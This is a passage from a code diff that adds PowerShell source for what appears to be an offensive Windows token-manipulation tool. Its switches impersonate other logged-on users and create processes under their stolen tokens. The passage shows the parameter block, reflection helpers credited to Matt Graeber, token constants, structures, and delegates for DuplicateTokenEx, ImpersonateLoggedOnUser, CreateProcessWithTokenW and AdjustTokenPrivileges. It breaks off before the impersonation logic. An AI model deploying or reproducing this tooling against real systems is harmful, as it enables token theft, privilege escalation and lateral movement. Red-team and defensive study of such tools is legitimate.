[Switch] + $Enumerate, + + [Parameter(ParameterSetName = "RevToSelf")] + [Switch] + $RevToSelf, + + [Parameter(ParameterSetName = "ShowAll")] + [Switch] + $ShowAll, + + [Parameter(ParameterSetName = "ImpersonateUser")] + [Switch] + $ImpersonateUser, + + [Parameter(ParameterSetName = "CreateProcess")] + [String] + $CreateProcess, + + [Parameter(ParameterSetName = "WhoAmI")] + [Switch] + $WhoAmI, + + [Parameter(ParameterSetName = "ImpersonateUser")] + [Parameter(ParameterSetName = "CreateProcess")] + [String] + $Username, + + [Parameter(ParameterSetName = "ImpersonateUser")] + [Parameter(ParameterSetName = "CreateProcess")] + [Int] + $ProcessId, + + [Parameter(ParameterSetName = "ImpersonateUser", ValueFromPipeline=$true)] + [Parameter(ParameterSetName = "CreateProcess", ValueFromPipeline=$true)] + [System.Diagnostics.Process] + $Process, + + [Parameter(ParameterSetName = "ImpersonateUser")] + [Parameter(ParameterSetName = "CreateProcess")] + $ThreadId, + + [Parameter(ParameterSetName = "CreateProcess")] + [String] + $ProcessArgs, + + [Parameter(ParameterSetName = "CreateProcess")] + [Switch] + $NoUI + ) + + Set-StrictMode -Version 2 + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + ############################### + #Win32Constants + ############################### + $Constants = @{ + ACCESS_SYSTEM_SECURITY = 0x01000000 + READ_CONTROL = 0x00020000 + SYNCHRONIZE = 0x00100000 + STANDARD_RIGHTS_ALL = 0x001F0000 + TOKEN_QUERY = 8 + TOKEN_ADJUST_PRIVILEGES = 0x20 + ERROR_NO_TOKEN = 0x3f0 + SECURITY_DELEGATION = 3 + DACL_SECURITY_INFORMATION = 0x4 + ACCESS_ALLOWED_ACE_TYPE = 0x0 + STANDARD_RIGHTS_REQUIRED = 0x000F0000 + DESKTOP_GENERIC_ALL = 0x000F01FF + WRITE_DAC = 0x00040000 + OBJECT_INHERIT_ACE = 0x1 + GRANT_ACCESS = 0x1 + TRUSTEE_IS_NAME = 0x1 + TRUSTEE_IS_SID = 0x0 + TRUSTEE_IS_USER = 0x1 + TRUSTEE_IS_WELL_KNOWN_GROUP = 0x5 + TRUSTEE_IS_GROUP = 0x2 + PROCESS_QUERY_INFORMATION = 0x400 + TOKEN_ASSIGN_PRIMARY = 0x1 + TOKEN_DUPLICATE = 0x2 + TOKEN_IMPERSONATE = 0x4 + TOKEN_QUERY_SOURCE = 0x10 + STANDARD_RIGHTS_READ = 0x20000 + TokenStatistics = 10 + TOKEN_ALL_ACCESS = 0xf01ff + MAXIMUM_ALLOWED = 0x02000000 + THREAD_ALL_ACCESS = 0x1f03ff + ERROR_INVALID_PARAMETER = 0x57 + LOGON_NETCREDENTIALS_ONLY = 0x2 + SE_PRIVILEGE_ENABLED = 0x2 + SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x1 + SE_PRIVILEGE_REMOVED = 0x4 + } + + $Win32Constants = New-Object PSObject -Property $Constants + ############################### + + + ############################### + #Win32Structures + ############################### + #Define all the structures/enums that will be used + # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html + $Domain = [AppDomain]::CurrentDomain + $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) + $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + + #ENUMs + $TypeBuilder = $ModuleBuilder.DefineEnum('TOKEN_INFORMATION_CLASS', 'Public', [UInt32]) + $TypeBuilder.DefineLiteral('TokenUser', [UInt32] 1) | Out-Null + $TypeBuilder.DefineLiteral('TokenGroups', [UInt32] 2) | Out-Null + $TypeBuilder.DefineLiteral('TokenPrivileges', [UInt32] 3) | Out-Null + $TypeBuilder.DefineLiteral('TokenOwner', [UInt32] 4) | Out-Null + $TypeBuilder.DefineLiteral('TokenPrimaryGroup', [UInt32] 5) | Out-Null + $TypeBuilder.DefineLiteral('TokenDefaultDacl', [UInt32] 6) | Out-Null + $TypeBuilder.DefineLiteral('TokenSource', [UInt32] 7) | Out-Null + $TypeBuilder.DefineLiteral('TokenType', [UInt32] 8) | Out-Null + $TypeBuilder.DefineLiteral('TokenImpersonationLevel', [UInt32] 9) | Out-Null + $TypeBuilder.DefineLiteral('TokenStatistics', [UInt32] 10) | Out-Null + $TypeBuilder.DefineLiteral('TokenRestrictedSids', [UInt32] 11) | Out-Null + $TypeBuilder.DefineLiteral('TokenSessionId', [UInt32] 12) | Out-Null + $TypeBuilder.DefineLiteral('TokenGroupsAndPrivileges', [UInt32] 13) | Out-Null + $TypeBuilder.DefineLiteral('TokenSessionReference', [UInt32] 14) | Out-Null + $TypeBuilder.DefineLiteral('TokenSandBoxInert', [UInt32] 15) | Out-Null + $TypeBuilder.DefineLiteral('TokenAuditPolicy', [UInt32] 16) | Out-Null + $TypeBuilder.DefineLiteral('TokenOrigin', [UInt32] 17) | Out-Null + $TypeBuilder.DefineLiteral('TokenElevationType', [UInt32] 18) | Out-Null + $TypeBuilder.DefineLiteral('TokenLinkedToken', [UInt32] 19) | Out-Null + $TypeBuilder.DefineLiteral('TokenElevation', [UInt32] 20) | Out-Null + $TypeBuilder.DefineLiteral('TokenHasRestrictions', [UInt32] 21) | Out-Null + $TypeBuilder.DefineLiteral('TokenAccessInformation', [UInt32] 22) | Out-Null + $TypeBuilder.DefineLiteral('TokenVirtualizationAllowed', [UInt32] 23) | Out-Null + $TypeBuilder.DefineLiteral('TokenVirtualizationEnabled', [UInt32] 24) | Out-Null + $TypeBuilder.DefineLiteral('TokenIntegrityLevel', [UInt32] 25) | Out-Null + $TypeBuilder.DefineLiteral('TokenUIAccess', [UInt32] 26) | Out-Null + $TypeBuilder.DefineLiteral('TokenMandatoryPolicy', [UInt32] 27) | Out-Null + $TypeBuilder.DefineLiteral('TokenLogonSid', [UInt32] 28) | Out-Null + $TypeBuilder.DefineLiteral('TokenIsAppContainer', [UInt32] 29) | Out-Null + $TypeBuilder.DefineLiteral('TokenCapabilities', [UInt32] 30) | Out-Null + $TypeBuilder.DefineLiteral('TokenAppContainerSid', [UInt32] 31) | Out-Null + $TypeBuilder.DefineLiteral('TokenAppContainerNumber', [UInt32] 32) | Out-Null + $TypeBuilder.DefineLiteral('TokenUserClaimAttributes', [UInt32] 33) | Out-Null + $TypeBuilder.DefineLiteral('TokenDeviceClaimAttributes', [UInt32] 34) | Out-Null + $TypeBuilder.DefineLiteral('TokenRestrictedUserClaimAttributes', [UInt32] 35) | Out-Null + $TypeBuilder.DefineLiteral('TokenRestrictedDeviceClaimAttributes', [UInt32] 36) | Out-Null + $TypeBuilder.DefineLiteral('TokenDeviceGroups', [UInt32] 37) | Out-Null + $TypeBuilder.DefineLiteral('TokenRestrictedDeviceGroups', [UInt32] 38) | Out-Null + $TypeBuilder.DefineLiteral('TokenSecurityAttributes', [UInt32] 39) | Out-Null + $TypeBuilder.DefineLiteral('TokenIsRestricted', [UInt32] 40) | Out-Null + $TypeBuilder.DefineLiteral('MaxTokenInfoClass', [UInt32] 41) | Out-Null + $TOKEN_INFORMATION_CLASS = $TypeBuilder.CreateType() + + #STRUCTs + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LARGE_INTEGER', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null + $LARGE_INTEGER = $TypeBuilder.CreateType() + + #Struct LUID + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8) + $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('HighPart', [Int32], 'Public') | Out-Null + $LUID = $TypeBuilder.CreateType() + + #Struct TOKEN_STATISTICS + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_STATISTICS', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('TokenId', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('AuthenticationId', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('ExpirationTime', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('TokenType', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('ImpersonationLevel', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('DynamicCharged', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('DynamicAvailable', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('GroupCount', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('ModifiedId', $LUID, 'Public') | Out-Null + $TOKEN_STATISTICS = $TypeBuilder.CreateType() + + #Struct LSA_UNICODE_STRING + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LSA_UNICODE_STRING', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('Length', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('MaximumLength', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Buffer', [IntPtr], 'Public') | Out-Null + $LSA_UNICODE_STRING = $TypeBuilder.CreateType() + + #Struct LSA_LAST_INTER_LOGON_INFO + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LSA_LAST_INTER_LOGON_INFO', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('LastSuccessfulLogon', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('LastFailedLogon', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('FailedAttemptCountSinceLastSuccessfulLogon', [UInt32], 'Public') | Out-Null + $LSA_LAST_INTER_LOGON_INFO = $TypeBuilder.CreateType() + + #Struct SECURITY_LOGON_SESSION_DATA + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('SECURITY_LOGON_SESSION_DATA', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('Size', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('LoginID', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('Username', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('LoginDomain', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('AuthenticationPackage', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('LogonType', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Session', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Sid', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('LoginTime', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('LoginServer', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('DnsDomainName', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('Upn', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('UserFlags', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('LastLogonInfo', $LSA_LAST_INTER_LOGON_INFO, 'Public') | Out-Null + $TypeBuilder.DefineField('LogonScript', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('ProfilePath', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('HomeDirectory', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('HomeDirectoryDrive', $LSA_UNICODE_STRING, 'Public') | Out-Null + $TypeBuilder.DefineField('LogoffTime', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('KickOffTime', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('PasswordLastSet', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('PasswordCanChange', $LARGE_INTEGER, 'Public') | Out-Null + $TypeBuilder.DefineField('PasswordMustChange', $LARGE_INTEGER, 'Public') | Out-Null + $SECURITY_LOGON_SESSION_DATA = $TypeBuilder.CreateType() + + #Struct STARTUPINFO + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('STARTUPINFO', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('cb', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('lpReserved', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('lpDesktop', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('lpTitle', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('dwX', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwY', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwXSize', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwYSize', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwXCountChars', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwYCountChars', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwFillAttribute', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwFlags', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('wShowWindow', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('cbReserved2', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('lpReserved2', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('hStdInput', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('hStdOutput', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('hStdError', [IntPtr], 'Public') | Out-Null + $STARTUPINFO = $TypeBuilder.CreateType() + + #Struct PROCESS_INFORMATION + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('PROCESS_INFORMATION', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('hProcess', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('hThread', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('dwProcessId', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('dwThreadId', [UInt32], 'Public') | Out-Null + $PROCESS_INFORMATION = $TypeBuilder.CreateType() + + #Struct TOKEN_ELEVATION + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_ELEVATION', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('TokenIsElevated', [UInt32], 'Public') | Out-Null + $TOKEN_ELEVATION = $TypeBuilder.CreateType() + + #Struct LUID_AND_ATTRIBUTES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12) + $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null + $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null + $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() + + #Struct TOKEN_PRIVILEGES + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16) + $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null + $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() + + #Struct ACE_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('ACE_HEADER', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('AceType', [Byte], 'Public') | Out-Null + $TypeBuilder.DefineField('AceFlags', [Byte], 'Public') | Out-Null + $TypeBuilder.DefineField('AceSize', [UInt16], 'Public') | Out-Null + $ACE_HEADER = $TypeBuilder.CreateType() + + #Struct ACL + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('ACL', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('AclRevision', [Byte], 'Public') | Out-Null + $TypeBuilder.DefineField('Sbz1', [Byte], 'Public') | Out-Null + $TypeBuilder.DefineField('AclSize', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('AceCount', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Sbz2', [UInt16], 'Public') | Out-Null + $ACL = $TypeBuilder.CreateType() + + #Struct ACE_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('ACCESS_ALLOWED_ACE', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('Header', $ACE_HEADER, 'Public') | Out-Null + $TypeBuilder.DefineField('Mask', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SidStart', [UInt32], 'Public') | Out-Null + $ACCESS_ALLOWED_ACE = $TypeBuilder.CreateType() + + #Struct TRUSTEE + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('TRUSTEE', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('pMultipleTrustee', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('MultipleTrusteeOperation', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TrusteeForm', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TrusteeType', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('ptstrName', [IntPtr], 'Public') | Out-Null + $TRUSTEE = $TypeBuilder.CreateType() + + #Struct EXPLICIT_ACCESS + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('EXPLICIT_ACCESS', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('grfAccessPermissions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('grfAccessMode', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('grfInheritance', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Trustee', $TRUSTEE, 'Public') | Out-Null + $EXPLICIT_ACCESS = $TypeBuilder.CreateType() + ############################### + + + ############################### + #Win32Functions + ############################### + $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess + $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) + + $OpenProcessTokenAddr = Get-ProcAddress advapi32.dll OpenProcessToken + $OpenProcessTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr].MakeByRefType()) ([Bool]) + $OpenProcessToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessTokenAddr, $OpenProcessTokenDelegate) + + $GetTokenInformationAddr = Get-ProcAddress advapi32.dll GetTokenInformation + $GetTokenInformationDelegate = Get-DelegateType @([IntPtr], $TOKEN_INFORMATION_CLASS, [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) + $GetTokenInformation = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetTokenInformationAddr, $GetTokenInformationDelegate) + + $SetThreadTokenAddr = Get-ProcAddress advapi32.dll SetThreadToken + $SetThreadTokenDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([Bool]) + $SetThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetThreadTokenAddr, $SetThreadTokenDelegate) + + $ImpersonateLoggedOnUserAddr = Get-ProcAddress advapi32.dll ImpersonateLoggedOnUser + $ImpersonateLoggedOnUserDelegate = Get-DelegateType @([IntPtr]) ([Bool]) + $ImpersonateLoggedOnUser = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateLoggedOnUserAddr, $ImpersonateLoggedOnUserDelegate) + + $RevertToSelfAddr = Get-ProcAddress advapi32.dll RevertToSelf + $RevertToSelfDelegate = Get-DelegateType @() ([Bool]) + $RevertToSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RevertToSelfAddr, $RevertToSelfDelegate) + + $LsaGetLogonSessionDataAddr = Get-ProcAddress secur32.dll LsaGetLogonSessionData + $LsaGetLogonSessionDataDelegate = Get-DelegateType @([IntPtr], [IntPtr].MakeByRefType()) ([UInt32]) + $LsaGetLogonSessionData = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LsaGetLogonSessionDataAddr, $LsaGetLogonSessionDataDelegate) + + $CreateProcessWithTokenWAddr = Get-ProcAddress advapi32.dll CreateProcessWithTokenW + $CreateProcessWithTokenWDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([Bool]) + $CreateProcessWithTokenW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateProcessWithTokenWAddr, $CreateProcessWithTokenWDelegate) + + $memsetAddr = Get-ProcAddress msvcrt.dll memset + $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) + $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) + + $DuplicateTokenExAddr = Get-ProcAddress advapi32.dll DuplicateTokenEx + $DuplicateTokenExDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr].MakeByRefType()) ([Bool]) + $DuplicateTokenEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DuplicateTokenExAddr, $DuplicateTokenExDelegate) + + $LookupAccountSidWAddr = Get-ProcAddress advapi32.dll LookupAccountSidW + $LookupAccountSidWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UInt32].MakeByRefType(), [IntPtr], [UInt32].MakeByRefType(), [UInt32].MakeByRefType()) ([Bool]) + $LookupAccountSidW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupAccountSidWAddr, $LookupAccountSidWDelegate) + + $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle + $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool]) + $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate) + + $LsaFreeReturnBufferAddr = Get-ProcAddress secur32.dll LsaFreeReturnBuffer + $LsaFreeReturnBufferDelegate = Get-DelegateType @([IntPtr]) ([UInt32]) + $LsaFreeReturnBuffer = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LsaFreeReturnBufferAddr, $LsaFreeReturnBufferDelegate) + + $OpenThreadAddr = Get-ProcAddress kernel32.dll OpenThread + $OpenThreadDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadAddr, $OpenThreadDelegate) + + $OpenThreadTokenAddr = Get-ProcAddress advapi32.dll OpenThreadToken + $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool]) + $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate) + + $CreateProcessAsUserWAddr = Get-ProcAddress advapi32.dll CreateProcessAsUserW + $CreateProcessAsUserWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([Bool]) + $CreateProcessAsUserW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateProcessAsUserWAddr, $CreateProcessAsUserWDelegate) + + $OpenWindowStationWAddr = Get-ProcAddress user32.dll OpenWindowStationW + $OpenWindowStationWDelegate = Get-DelegateType @([IntPtr], [Bool], [UInt32]) ([IntPtr]) + $OpenWindowStationW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenWindowStationWAddr, $OpenWindowStationWDelegate) + + $OpenDesktopAAddr = Get-ProcAddress user32.dll OpenDesktopA + $OpenDesktopADelegate = Get-DelegateType @([String], [UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenDesktopA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenDesktopAAddr, $OpenDesktopADelegate) + + $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf + $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool]) + $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) + + $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA + $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], $LUID.MakeByRefType()) ([Bool]) + $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate) + + $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges + $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], $TOKEN_PRIVILEGES.MakeByRefType(), [UInt32], [IntPtr], [IntPtr]) ([Bool]) + $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate) + + $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread + $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr]) + $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate) + + $GetSecurityInfoAddr = Get-ProcAddress advapi32.dll GetSecurityInfo + $GetSecurityInfoDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType()) ([UInt32]) + 